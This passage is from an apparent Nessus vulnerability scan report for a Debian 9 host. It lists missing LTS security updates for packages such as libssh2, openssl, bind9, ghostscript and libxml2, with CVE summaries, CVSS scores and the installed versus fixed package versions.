CVSS v3.0 Base Score

7.5 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N)

CVSS v3.0 Temporal Score

6.5 (CVSS:3.0/E:U/RL:O/RC:C)

CVSS v2.0 Base Score

5.0 (CVSS2#AV:N/AC:L/Au:N/C:N/I:P/A:N)

CVSS v2.0 Temporal Score

3.7 (CVSS2#E:U/RL:OF/RC:C)

References

CVE CVE-2018-5764

Plugin Information

Published: 2021/12/01, Modified: 2021/12/01

Plugin Output

tcp/0

```
Remote package installed : rsync_3.1.2-1+deb9u1
Should be : rsync_3.1.2-1+deb9u3
```

155822 - Debian DLA-2837-1 : gmp - LTS security update -

Synopsis

The remote Debian host is missing a security-related update.

Description

The remote Debian 9 host has packages installed that are affected by a vulnerability as referenced in the dla-2837 advisory.

- GNU Multiple Precision Arithmetic Library (GMP) through 6.2.1 has an mpz/inp_raw.c integer overflow and resultant buffer overflow via crafted input, leading to a segmentation fault on 32-bit platforms.
(CVE-2021-43618)

Note that Nessus has not tested for this issue but has instead relied only on the application's self-reported version number.

See Also

https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=994405
https://security-tracker.debian.org/tracker/source-package/gmp
https://www.debian.org/lts/security/2021/dla-2837
https://security-tracker.debian.org/tracker/CVE-2021-43618
https://packages.debian.org/source/stretch/gmp

Solution

Upgrade the gmp packages.

For Debian 9 stretch, this problem has been fixed in version 2

Risk Factor

Medium

CVSS v3.0 Base Score

7.5 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)

CVSS v3.0 Temporal Score

6.7 (CVSS:3.0/E:P/RL:O/RC:C)

CVSS v2.0 Base Score

5.0 (CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:P)

CVSS v2.0 Temporal Score

3.9 (CVSS2#E:POC/RL:OF/RC:C)

References

CVE CVE-2021-43618

Plugin Information

Published: 2021/12/03, Modified: 2023/11/22

Plugin Output

tcp/0

```
Remote package installed : libgmp10_2:6.1.2+dfsg-1
Should be : libgmp10_2:6.1.2+dfsg-1+deb9u1
```

156173 - Debian DLA-2848-1 : libssh2 - LTS security update -

Synopsis

The remote Debian host is missing one or more security-related updates.

Description

The remote Debian 9 host has packages installed that are affected by multiple vulnerabilities as referenced in the dla-2848 advisory.

Two issues have been discovered in libssh2, a client-side C library implementing the SSH2 protocol:
CVE-2019-13115: kex_method_diffie_hellman_group_exchange_sha256_key_exchange in kex.c has an integer overflow that could lead to an out-of-bounds read in the way packets are read from the server. A remote attacker who compromises a SSH server may be able to disclose sensitive information or cause a denial of service condition on the client system when a user connects to the server. CVE-2019-17498:
SSH_MSG_DISCONNECT logic in packet.c has an integer overflow in a bounds check, enabling an attacker to specify an arbitrary (out-of-bounds) offset for a subsequent memory read. A crafted SSH server may be able to disclose sensitive information or cause a denial of service condition on the client system when a user connects to the server. For Debian 9 stretch, these problems have been fixed in version 1.7.0-1+deb9u2. We recommend that you upgrade your libssh2 packages. For the detailed security status of libssh2 please refer to its security tracker page at: https://security-tracker.debian.org/tracker/libssh2 Further information about Debian LTS security advisories, how to apply these updates to your system and frequently asked questions can be found at: https://wiki.debian.org/LTS

Tenable has extracted the preceding description block directly from the Debian security advisory.

Note that Nessus has not tested for these issues but has instead relied only on the application's self-reported version number.

See Also

https://security-tracker.debian.org/tracker/source-package/libssh2
https://www.debian.org/lts/security/2021/dla-2848
https://security-tracker.debian.org/tracker/CVE-2019-13115
https://security-tracker.debian.org/tracker/CVE-2019-17498
https://packages.debian.org/source/stretch/libssh2

Solution

Upgrade the libssh2 packages.

For Debian 9 stretch, these problems have been fixed in version 1.7.0-1+deb9u2.

Risk Factor

Medium

CVSS v3.0 Base Score

8.1 (CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:H)

CVSS v3.0 Temporal Score

7.3 (CVSS:3.0/E:P/RL:O/RC:C)

CVSS v2.0 Base Score

5.8 (CVSS2#AV:N/AC:M/Au:N/C:P/I:N/A:P)

CVSS v2.0 Temporal Score

4.5 (CVSS2#E:POC/RL:OF/RC:C)

References

CVE	CVE-2019-13115
CVE	CVE-2019-17498

Plugin Information

Published: 2021/12/18, Modified: 2025/01/24

Plugin Output

tcp/0

```
Remote package installed : libssh2-1_1.7.0-1+deb9u1
Should be : libssh2-1_1.7.0-1+deb9u2
```

156318 - Debian DLA-2850-1 : libpcap - LTS security update -

Synopsis

The remote Debian host is missing a security-related update.

Description

The remote Debian 9 host has packages installed that are affected by a vulnerability as referenced in the dla-2850 advisory.

Improper PHB header length validation was fixed in libpcap, a library for capturing network traffic. For Debian 9 stretch, this problem has been fixed in version 1.8.1-3+deb9u1. We recommend that you upgrade your libpcap packages. For the detailed security status of libpcap please refer to its security tracker page at: https://security-tracker.debian.org/tracker/libpcap Further information about Debian LTS security advisories, how to apply these updates to your system and frequently asked questions can be found at:
https://wiki.debian.org/LTS

Tenable has extracted the preceding description block directly from the Debian security advisory.

Note that Nessus has not tested for this issue but has instead relied only on the application's self-reported version number.

See Also

https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=941697
https://security-tracker.debian.org/tracker/source-package/libpcap
https://www.debian.org/lts/security/2021/dla-2850
https://security-tracker.debian.org/tracker/CVE-2019-15165
https://packages.debian.org/source/stretch/libpcap

Solution

Upgrade the libpcap packages.

For Debian 9 stretch, this problem has been fixed in version 1.8.1-3+deb9u1.

Risk Factor

Medium

CVSS v3.0 Base Score

5.3 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N)

CVSS v3.0 Temporal Score

4.6 (CVSS:3.0/E:U/RL:O/RC:C)

CVSS v2.0 Base Score

5.0 (CVSS2#AV:N/AC:L/Au:N/C:N/I:P/A:N)

CVSS v2.0 Temporal Score

3.7 (CVSS2#E:U/RL:OF/RC:C)

References

CVE	CVE-2019-15165

Plugin Information

Published: 2021/12/27, Modified: 2025/01/24

Plugin Output

tcp/0

```
Remote package installed : libpcap0.8_1.8.1-3
Should be : libpcap0.8_1.8.1-3+deb9u1
```

156417 - Debian DLA-2871-1 : lxml - LTS security update -

Synopsis

The remote Debian host is missing a security-related update.

Description

The remote Debian 9 host has packages installed that are affected by a vulnerability as referenced in the dla-2871 advisory.

- lxml is a library for processing XML and HTML in the Python language. Prior to version 4.6.5, the HTML Cleaner in lxml.html lets certain crafted script content pass through, as well as script content in SVG files embedded using data URIs. Users that employ the HTML cleaner in a security relevant context should upgrade to lxml 4.6.5 to receive a patch. There are no known workarounds available. (CVE-2021-43818)

Note that Nessus has not tested for this issue but has instead relied only on the application's self-reported version number.

See Also

https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1001885
https://security-tracker.debian.org/tracker/source-package/lxml
https://www.debian.org/lts/security/2021/dla-2871
https://security-tracker.debian.org/tracker/CVE-2021-43818
https://packages.debian.org/source/stretch/lxml

Solution

Upgrade the lxml packages.

For Debian 9 stretch, this problem has been fixed in version 3.7.1-1+deb9u5.

Risk Factor

Medium

CVSS v3.0 Base Score

7.1 (CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L)

CVSS v3.0 Temporal Score

6.2 (CVSS:3.0/E:U/RL:O/RC:C)

CVSS v2.0 Base Score

6.8 (CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P)

CVSS v2.0 Temporal Score

5.0 (CVSS2#E:U/RL:OF/RC:C)

References

CVE CVE-2021-43818

Plugin Information

Published: 2021/12/30, Modified: 2021/12/30

Plugin Output

tcp/0

```
Remote package installed : python-lxml_3.7.1-1
Should be : python-lxml_3.7.1-1+deb9u5
```

156575 - Debian DLA-2876-1 : vim - LTS security update -

Synopsis

The remote Debian host is missing one or more security-related updates.

Description

The remote Debian 9 host has packages installed that are affected by multiple vulnerabilities as referenced in the dla-2876 advisory.

- fileio.c in Vim prior to 8.0.1263 sets the group ownership of a .swp file to the editor's primary group (which may be different from the group ownership of the original file), which allows local users to obtain sensitive information by leveraging an applicable group membership, as demonstrated by /etc/shadow owned by root:shadow mode 0640, but /etc/.shadow.swp owned by root:users mode 0640, a different vulnerability than CVE-2017-1000382. (CVE-2017-17087)

- In Vim before 8.1.0881, users can circumvent the rvim restricted mode and execute arbitrary OS commands via scripting interfaces (e.g., Python, Ruby, or Lua). (CVE-2019-20807)

- vim is vulnerable to Heap-based Buffer Overflow (CVE-2021-3778)

- vim is vulnerable to Use After Free (CVE-2021-3796)

Note that Nessus has not tested for this issue but has instead relied only on the application's self-reported version number.

See Also

https://security-tracker.debian.org/tracker/source-package/vim
https://www.debian.org/lts/security/2022/dla-2876
https://security-tracker.debian.org/tracker/CVE-2017-17087

https://security-tracker.debian.org/tracker/CVE-2019-20807
https://security-tracker.debian.org/tracker/CVE-2021-3778
https://security-tracker.debian.org/tracker/CVE-2021-3796
https://packages.debian.org/source/stretch/vim

Solution

Upgrade the vim packages.

For Debian 9 stretch, these problems have been fixed in version 2

Risk Factor

Medium

CVSS v3.0 Base Score

7.8 (CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

7.0 (CVSS:3.0/E:P/RL:O/RC:C)

CVSS v2.0 Base Score

6.8 (CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P)

CVSS v2.0 Temporal Score

5.3 (CVSS2#E:POC/RL:OF/RC:C)

STIG Severity

II

References

CVE	CVE-2017-17087
CVE	CVE-2019-20807
CVE	CVE-2021-3778
CVE	CVE-2021-3796
XREF	IAVB:2020-B-0053-S

Plugin Information

Published: 2022/01/10, Modified: 2023/11/21

Plugin Output

tcp/0

```
Remote package installed : vim-common_2:8.0.0197-4+deb9u1
Should be : vim-common_2:8.0.0197-4+deb9u4
Remote package installed : vim-tiny_2:8.0.0197-4+deb9u1
Should be : vim-tiny_2:8.0.0197-4+deb9u4
Remote package installed : xxd_2:8.0.0197-4+deb9u1
Should be : xxd_2:8.0.0197-4+deb9u4
```

156789 - Debian DLA-2879-1 : ghostscript - LTS security update -

Synopsis

The remote Debian host is missing one or more security-related updates.

Description

The remote Debian 9 host has packages installed that are affected by multiple vulnerabilities as referenced in the dla-2879 advisory.

- Ghostscript GhostPDL 9.50 through 9.53.3 has a use-after-free in sampled_data_sample (called from sampled_data_continue and interp). (CVE-2021-45944)

- Ghostscript GhostPDL 9.50 through 9.54.0 has a heap-based buffer overflow in sampled_data_finish (called from sampled_data_continue and interp). (CVE-2021-45949)

Note that Nessus has not tested for this issue but has instead relied only on the application's self-reported version number.

See Also

https://security-tracker.debian.org/tracker/source-package/ghostscript
https://www.debian.org/lts/security/2022/dla-2879

https://security-tracker.debian.org/tracker/CVE-2021-45944
https://security-tracker.debian.org/tracker/CVE-2021-45949
https://packages.debian.org/source/stretch/ghostscript

Solution

Upgrade the ghostscript packages.

For Debian 9 stretch, these problems have been fixed in version 9.26a~dfsg-0+deb9u8.

Risk Factor

Medium

CVSS v3.0 Base Score

5.5 (CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H)

CVSS v3.0 Temporal Score

5.0 (CVSS:3.0/E:P/RL:O/RC:C)

CVSS v2.0 Base Score

4.3 (CVSS2#AV:N/AC:M/Au:N/C:N/I:N/A:P)

CVSS v2.0 Temporal Score

3.4 (CVSS2#E:POC/RL:OF/RC:C)

References

CVE	CVE-2021-45944
CVE	CVE-2021-45949

Plugin Information

Published: 2022/01/18, Modified: 2023/11/20

Plugin Output

tcp/0

```
Remote package installed : ghostscript_9.26a~dfsg-0+deb9u2
Should be : ghostscript_9.26a~dfsg-0+deb9u8
Remote package installed : libgs9_9.26a~dfsg-0+deb9u2
Should be : libgs9_9.26a~dfsg-0+deb9u8
Remote package installed : libgs9-common_9.26a~dfsg-0+deb9u2
Should be : libgs9-common_9.26a~dfsg-0+deb9u8
```

158647 - Debian DLA-2931-1 : cyrus-sasl2 - LTS security update -

Synopsis

The remote Debian host is missing a security-related update.

Description

The remote Debian 9 host has packages installed that are affected by a vulnerability as referenced in the dla-2931 advisory.

- In Cyrus SASL 2.1.17 through 2.1.27 before 2.1.28, plugins/sql.c does not escape the password for a SQL INSERT or UPDATE statement. (CVE-2022-24407)

Note that Nessus has not tested for this issue but has instead relied only on the application's self-reported version number.

See Also

https://security-tracker.debian.org/tracker/source-package/cyrus-sasl2
https://www.debian.org/lts/security/2022/dla-2931
https://security-tracker.debian.org/tracker/CVE-2022-24407
https://packages.debian.org/source/stretch/cyrus-sasl2

Solution

Upgrade the cyrus-sasl2 packages.

For Debian 9 stretch, this problem has been fixed in version 2.1.27~101-g0780600+dfsg-3+deb9u2.

Risk Factor

Medium

CVSS v3.0 Base Score

8.8 (CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

7.7 (CVSS:3.0/E:U/RL:O/RC:C)

CVSS v2.0 Base Score

6.5 (CVSS2#AV:N/AC:L/Au:S/C:P/I:P/A:P)

CVSS v2.0 Temporal Score

4.8 (CVSS2#E:U/RL:OF/RC:C)

References

CVE CVE-2022-24407

Plugin Information

Published: 2022/03/07, Modified: 2022/03/07

Plugin Output

tcp/0

```
Remote package installed : libsasl2-2_2.1.27~101-g0780600+dfsg-3
Should be : libsasl2-2_2.1.27~101-g0780600+dfsg-3+deb9u2
Remote package installed : libsasl2-modules_2.1.27~101-g0780600+dfsg-3
Should be : libsasl2-modules_2.1.27~101-g0780600+dfsg-3+deb9u2
Remote package installed : libsasl2-modules-db_2.1.27~101-g0780600+dfsg-3
Should be : libsasl2-modules-db_2.1.27~101-g0780600+dfsg-3+deb9u2
```

158649 - Debian DLA-2932-1 : tiff - LTS security update -

Synopsis

The remote Debian host is missing one or more security-related updates.

Description

The remote Debian 9 host has packages installed that are affected by multiple vulnerabilities as referenced in the dla-2932 advisory.

Several issues have been found in tiff, a library and tools to manipulate and convert files in the Tag Image File Format (TIFF). CVE-2022-22844 out-of-bounds read in _TIFFmemcpy in certain situations involving a custom tag and 0x0200 as the second word of the DE field. CVE-2022-0562 Null source pointer passed as an argument to memcpy() function within TIFFReadDirectory(). This could result in a Denial of Service via crafted TIFF files. CVE-2022-0561 Null source pointer passed as an argument to memcpy() function within TIFFFetchStripThing(). This could result in a Denial of Service via crafted TIFF files. For Debian 9 stretch, these problems have been fixed in version 4.0.8-2+deb9u8. We recommend that you upgrade your tiff packages. For the detailed security status of tiff please refer to its security tracker page at:
https://security-tracker.debian.org/tracker/tiff Further information about Debian LTS security advisories, how to apply these updates to your system and frequently asked questions can be found at:
https://wiki.debian.org/LTS

Tenable has extracted the preceding description block directly from the Debian security advisory.

Note that Nessus has not tested for these issues but has instead relied only on the application's self-reported version number.

See Also

https://security-tracker.debian.org/tracker/source-package/tiff
https://www.debian.org/lts/security/2022/dla-2932
https://security-tracker.debian.org/tracker/CVE-2022-0561
https://security-tracker.debian.org/tracker/CVE-2022-0562
https://security-tracker.debian.org/tracker/CVE-2022-22844
https://packages.debian.org/source/stretch/tiff

Solution

Upgrade the tiff packages.

For Debian 9 stretch, these problems have been fixed in version 4.0.8-2+deb9u8.

Risk Factor

Medium

CVSS v3.0 Base Score

5.5 (CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H)

CVSS v3.0 Temporal Score

5.0 (CVSS:3.0/E:P/RL:O/RC:C)

CVSS v2.0 Base Score

4.3 (CVSS2#AV:N/AC:M/Au:N/C:N/I:N/A:P)

CVSS v2.0 Temporal Score

3.4 (CVSS2#E:POC/RL:OF/RC:C)

References

CVE	CVE-2022-0561
CVE	CVE-2022-0562
CVE	CVE-2022-22844

Plugin Information

Published: 2022/03/07, Modified: 2025/01/24

Plugin Output

tcp/0

```
Remote package installed : libtiff5_4.0.8-2+deb9u4
Should be : libtiff5_4.0.8-2+deb9u8
```

159002 - Debian DLA-2952-1 : openssl - LTS security update -

Synopsis

The remote Debian host is missing one or more security-related updates.

Description

The remote Debian 9 host has packages installed that are affected by multiple vulnerabilities as referenced in the dla-2952 advisory.

- There is an overflow bug in the x64_64 Montgomery squaring procedure used in exponentiation with 512-bit moduli. No EC algorithms are affected. Analysis suggests that attacks against 2-prime RSA1024, 3-prime RSA1536, and DSA1024 as a result of this defect would be very difficult to perform and are not believed likely. Attacks against DH512 are considered just feasible. However, for an attack the target would have to re-use the DH512 private key, which is not recommended anyway. Also applications directly using the low level API BN_mod_exp may be affected if they use BN_FLG_CONSTTIME. Fixed in OpenSSL 1.1.1e (Affected 1.1.1-1.1.1d). Fixed in OpenSSL 1.0.2u (Affected 1.0.2-1.0.2t). (CVE-2019-1551)

- The BN_mod_sqrt() function, which computes a modular square root, contains a bug that can cause it to loop forever for non-prime moduli. Internally this function is used when parsing certificates that contain elliptic curve public keys in compressed form or explicit elliptic curve parameters with a base point encoded in compressed form. It is possible to trigger the infinite loop by crafting a certificate that has invalid explicit curve parameters. Since certificate parsing happens prior to verification of the certificate signature, any process that parses an externally supplied certificate may thus be subject to a denial of service attack. The infinite loop can also be reached when parsing crafted private keys as they can contain explicit elliptic curve parameters. Thus vulnerable situations include: - TLS clients consuming server certificates - TLS servers consuming client certificates - Hosting providers taking certificates or private keys from customers - Certificate authorities parsing certification requests from subscribers - Anything else which parses ASN.1 elliptic curve parameters Also any other applications that use the BN_mod_sqrt() where the attacker can control the parameter values are vulnerable to this DoS issue. In the OpenSSL 1.0.2 version the public key is not parsed during initial parsing of the certificate which makes it slightly harder to trigger the infinite loop. However any operation which requires the public key from the certificate will trigger the infinite loop. In particular the attacker can use a self- signed certificate to trigger the loop during verification of the certificate signature. This issue affects OpenSSL versions 1.0.2, 1.1.1 and 3.0. It was addressed in the releases of 1.1.1n and 3.0.2 on the 15th March 2022. Fixed in OpenSSL 3.0.2 (Affected 3.0.0,3.0.1). Fixed in OpenSSL 1.1.1n (Affected 1.1.1-1.1.1m). Fixed in OpenSSL 1.0.2zd (Affected 1.0.2-1.0.2zc). (CVE-2022-0778)

Note that Nessus has not tested for this issue but has instead relied only on the application's self-reported version number.

See Also

https://security-tracker.debian.org/tracker/source-package/openssl
https://www.debian.org/lts/security/2022/dla-2952
https://security-tracker.debian.org/tracker/CVE-2019-1551
https://security-tracker.debian.org/tracker/CVE-2022-0778
https://packages.debian.org/source/stretch/openssl

Solution

Upgrade the openssl packages.

For Debian 9 stretch, these problems have been fixed in version 1.1.0l-1~deb9u5.

Risk Factor

Medium

CVSS v3.0 Base Score

5.3 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N)

CVSS v3.0 Temporal Score

4.8 (CVSS:3.0/E:P/RL:O/RC:C)

CVSS v2.0 Base Score

5.0 (CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N)

CVSS v2.0 Temporal Score

3.9 (CVSS2#E:POC/RL:OF/RC:C)

STIG Severity

I

References

CVE	CVE-2019-1551
CVE	CVE-2022-0778
XREF	IAVA:2020-A-0326
XREF	IAVA:2019-A-0303-S
XREF	IAVA:2022-A-0121-S
XREF	IAVA:2020-A-0321-S

Plugin Information

Published: 2022/03/17, Modified: 2023/11/01

Plugin Output

tcp/0

```
Remote package installed : libssl1.1_1.1.0j-1~deb9u1
Should be : libssl1.1_1.1.0l-1~deb9u5
Remote package installed : openssl_1.1.0j-1~deb9u1
Should be : openssl_1.1.0l-1~deb9u5
```

159001 - Debian DLA-2953-1 : openssl1.0 - LTS security update -

Synopsis

The remote Debian host is missing a security-related update.

Description

The remote Debian 9 host has packages installed that are affected by a vulnerability as referenced in the dla-2953 advisory.

Tavis Ormandy discovered that the BN_mod_sqrt() function of OpenSSL could be tricked into an infinite loop. This could result in denial of service via malformed certificates. For Debian 9 stretch, this problem has been fixed in version 1.0.2u-1~deb9u7. We recommend that you upgrade your openssl1.0 packages.
For the detailed security status of openssl1.0 please refer to its security tracker page at:
https://security-tracker.debian.org/tracker/openssl1.0 Further information about Debian LTS security advisories, how to apply these updates to your system and frequently asked questions can be found at:
https://wiki.debian.org/LTS

Tenable has extracted the preceding description block directly from the Debian security advisory.

Note that Nessus has not tested for this issue but has instead relied only on the application's self-reported version number.

See Also

https://security-tracker.debian.org/tracker/source-package/openssl1.0
https://www.debian.org/lts/security/2022/dla-2953
https://security-tracker.debian.org/tracker/CVE-2022-0778
https://packages.debian.org/source/stretch/openssl1.0

Solution

Upgrade the openssl1.0 packages.

For Debian 9 stretch, this problem has been fixed in version 1.0.2u-1~deb9u7.

Risk Factor

Medium

CVSS v3.0 Base Score

7.5 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)

CVSS v3.0 Temporal Score

6.7 (CVSS:3.0/E:P/RL:O/RC:C)

CVSS v2.0 Base Score

5.0 (CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:P)

CVSS v2.0 Temporal Score

3.9 (CVSS2#E:POC/RL:OF/RC:C)

STIG Severity

I

References

CVE	CVE-2022-0778
XREF	IAVA:2022-A-0121-S

Plugin Information

Published: 2022/03/17, Modified: 2025/01/24

Plugin Output

tcp/0

```
Remote package installed : libssl1.0.2_1.0.2r-1~deb9u1
Should be : libssl1.0.2_1.0.2u-1~deb9u7
```

159072 - Debian DLA-2955-1 : bind9 - LTS security update -

Synopsis

The remote Debian host is missing a security-related update.

Description

The remote Debian 9 host has packages installed that are affected by a vulnerability as referenced in the dla-2955 advisory.

It was found that bind9, an internet domain name server, was vulnerable to cache poisoning. When using forwarders, bogus NS records supplied by, or via, those forwarders may be cached and used by named if it needs to recurse for any reason, causing it to obtain and pass on potentially incorrect answers. For Debian 9 stretch, this problem has been fixed in version 1:9.10.3.dfsg.P4-12.3+deb9u11. We recommend that you upgrade your bind9 packages. For the detailed security status of bind9 please refer to its security tracker page at: https://security-tracker.debian.org/tracker/bind9 Further information about Debian LTS security advisories, how to apply these updates to your system and frequently asked questions can be found at: https://wiki.debian.org/LTS

Tenable has extracted the preceding description block directly from the Debian security advisory.

Note that Nessus has not tested for this issue but has instead relied only on the application's self-reported version number.

See Also

https://security-tracker.debian.org/tracker/source-package/bind9
https://www.debian.org/lts/security/2022/dla-2955
https://security-tracker.debian.org/tracker/CVE-2021-25220
https://packages.debian.org/source/stretch/bind9

Solution

Upgrade the bind9 packages.

For Debian 9 stretch, this problem has been fixed in version 1

Risk Factor

Medium

CVSS v3.0 Base Score

6.8 (CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:C/C:N/I:H/A:N)

CVSS v3.0 Temporal Score

5.9 (CVSS:3.0/E:U/RL:O/RC:C)

CVSS v2.0 Base Score

4.0 (CVSS2#AV:N/AC:L/Au:S/C:N/I:P/A:N)

CVSS v2.0 Temporal Score

3.0 (CVSS2#E:U/RL:OF/RC:C)

STIG Severity

I

References

CVE	CVE-2021-25220
XREF	IAVA:2022-A-0122-S

Plugin Information

Published: 2022/03/19, Modified: 2025/01/24

Plugin Output

tcp/0

```
Remote package installed : bind9-host_1:9.10.3.dfsg.P4-12.3+deb9u4
Should be : bind9-host_1:9.10.3.dfsg.P4-12.3+deb9u11
Remote package installed : libbind9-140_1:9.10.3.dfsg.P4-12.3+deb9u4
Should be : libbind9-140_1:9.10.3.dfsg.P4-12.3+deb9u11
Remote package installed : libdns-export162_1:9.10.3.dfsg.P4-12.3+deb9u4
Should be : libdns-export162_1:9.10.3.dfsg.P4-12.3+deb9u11
Remote package installed : libdns162_1:9.10.3.dfsg.P4-12.3+deb9u4
Should be : libdns162_1:9.10.3.dfsg.P4-12.3+deb9u11
Remote package installed : libisc-export160_1:9.10.3.dfsg.P4-12.3+deb9u4
Should be : libisc-export160_1:9.10.3.dfsg.P4-12.3+deb9u11
Remote package installed : libisc160_1:9.10.3.dfsg.P4-12.3+deb9u4
Should be : libisc160_1:9.10.3.dfsg.P4-12.3+deb9u11
Remote package installed : libisccc140_1:9.10.3.dfsg.P4-12.3+deb9u4
Should be : libisccc140_1:9.10.3.dfsg.P4-12.3+deb9u11
Remote package installed : libisccfg140_1:9.10.3.dfsg.P4-12.3+deb9u4
Should be : libisccfg140_1:9.10.3.dfsg.P4-12.3+deb9u11
Remote package installed : liblwres141_1:9.10.3.dfsg.P4-12.3+deb9u4
Should be : liblwres141_1:9.10.3.dfsg.P4-12.3+deb9u11
```

159472 - Debian DLA-2968-1 : zlib - LTS security update -

Synopsis

The remote Debian host is missing a security-related update.

Description

The remote Debian 9 host has packages installed that are affected by a vulnerability as referenced in the dla-2968 advisory.

- zlib before 1.2.12 allows memory corruption when deflating (i.e., when compressing) if the input has many distant matches. (CVE-2018-25032)

Note that Nessus has not tested for this issue but has instead relied only on the application's self-reported version number.

See Also

https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1008265
https://security-tracker.debian.org/tracker/source-package/zlib
https://www.debian.org/lts/security/2022/dla-2968
https://security-tracker.debian.org/tracker/CVE-2018-25032
https://packages.debian.org/source/stretch/zlib

Solution

Upgrade the zlib packages.

For Debian 9 stretch, this problem has been fixed in version 1

Risk Factor

Medium

CVSS v3.0 Base Score

7.5 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)

CVSS v3.0 Temporal Score

7.0 (CVSS:3.0/E:F/RL:O/RC:C)

CVSS v2.0 Base Score

5.0 (CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:P)

CVSS v2.0 Temporal Score

4.1 (CVSS2#E:F/RL:OF/RC:C)

References

CVE CVE-2018-25032

Plugin Information

Published: 2022/04/03, Modified: 2023/11/03

Plugin Output

tcp/0

```
Remote package installed : zlib1g_1:1.2.8.dfsg-5
Should be : zlib1g_1:1.2.8.dfsg-5+deb9u1
```

159615 - Debian DLA-2972-1 : libxml2 - LTS security update -

Synopsis

The remote Debian host is missing one or more security-related updates.

Description

The remote Debian 9 host has packages installed that are affected by multiple vulnerabilities as referenced in the dla-2972 advisory.

Five security issues have been discovered in libxml2: XML C parser and toolkit. CVE-2016-9318 Vulnerable versions do not offer a flag directly indicating that the current document may be read but other files may not be opened, which makes it easier for remote attackers to conduct XML External Entity (XXE) attacks via a crafted document. CVE-2017-5130 Integer overflow in memory debug code, allowed a remote attacker to potentially exploit heap corruption via a crafted XML file. CVE-2017-5969 Parser in a recover mode allows remote attackers to cause a denial of service (NULL pointer dereference) via a crafted XML document. CVE-2017-16932 When expanding a parameter entity in a DTD, infinite recursion could lead to an infinite loop or memory exhaustion. CVE-2022-23308 the application that validates XML using xmlTextReaderRead() with XML_PARSE_DTDATTR and XML_PARSE_DTDVALID enabled becomes vulnerable to this use-after-free bug. This issue can result in denial of service. For Debian 9 stretch, these problems have been fixed in version 2.9.4+dfsg1-2.2+deb9u6. We recommend that you upgrade your libxml2 packages. For the detailed security status of libxml2 please refer to its security tracker page at: https://security-tracker.debian.org/tracker/libxml2 Further information about Debian LTS security advisories, how to apply these updates to your system and frequently asked questions can be found at: https://wiki.debian.org/LTS

Tenable has extracted the preceding description block directly from the Debian security advisory.

Note that Nessus has not tested for these issues but has instead relied only on the application's self-reported version number.

See Also

https://security-tracker.debian.org/tracker/source-package/libxml2
https://www.debian.org/lts/security/2022/dla-2972
https://security-tracker.debian.org/tracker/CVE-2016-9318
https://security-tracker.debian.org/tracker/CVE-2017-16932
https://security-tracker.debian.org/tracker/CVE-2017-5130
https://security-tracker.debian.org/tracker/CVE-2017-5969
https://security-tracker.debian.org/tracker/CVE-2022-23308
https://packages.debian.org/source/stretch/libxml2

Solution

Upgrade the libxml2 packages.

For Debian 9 stretch, these problems have been fixed in version 2.9.4+dfsg1-2.2+deb9u6.

Risk Factor

Medium

CVSS v3.0 Base Score

8.8 (CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

7.9 (CVSS:3.0/E:P/RL:O/RC:C)

CVSS v2.0 Base Score

6.8 (CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P)

CVSS v2.0 Temporal Score

5.3 (CVSS2#E:POC/RL:OF/RC:C)

STIG Severity

I

References

CVE	CVE-2016-9318
CVE	CVE-2017-5130
CVE	CVE-2017-5969
CVE	CVE-2017-16932
CVE	CVE-2022-23308
XREF	IAVB:2017-B-0143-S

Plugin Information

Published: 2022/04/09, Modified: 2025/01/24

Plugin Output

tcp/0

```
Remote package installed : libxml2_2.9.4+dfsg1-2.2+deb9u2
Should be : libxml2_2.9.4+dfsg1-2.2+deb9u6
```

160398 - Debian DLA-2989-1 : ghostscript - LTS security update -

Synopsis

The remote Debian host is missing one or more security-related updates.

Description

The remote Debian 9 host has packages installed that are affected by multiple vulnerabilities as referenced in the dla-2989 advisory.

- Artifex Ghostscript through 9.26 mishandles .completefont. NOTE: this issue exists because of an incomplete fix for CVE-2019-3839. (CVE-2019-25059)

- It was found that in ghostscript some privileged operators remained accessible from various places after the CVE-2019-6116 fix. A specially crafted PostScript file could use this flaw in order to, for example, have access to the file system outside of the constrains imposed by -dSAFER. Ghostscript versions before 9.27 are vulnerable. (CVE-2019-3839)

Note that Nessus has not tested for these issues but has instead relied only on the application's self-reported version number.

See Also

https://security-tracker.debian.org/tracker/source-package/ghostscript
https://www.debian.org/lts/security/2022/dla-2989
https://security-tracker.debian.org/tracker/CVE-2019-25059
https://security-tracker.debian.org/tracker/CVE-2019-3839
https://packages.debian.org/source/stretch/ghostscript

Solution

Upgrade the ghostscript packages.

For Debian 9 stretch, this problem has been fixed in version 9.26a~dfsg-0+deb9u9.

Risk Factor

Medium

CVSS v3.0 Base Score

7.8 (CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

6.8 (CVSS:3.0/E:U/RL:O/RC:C)

CVSS v2.0 Base Score

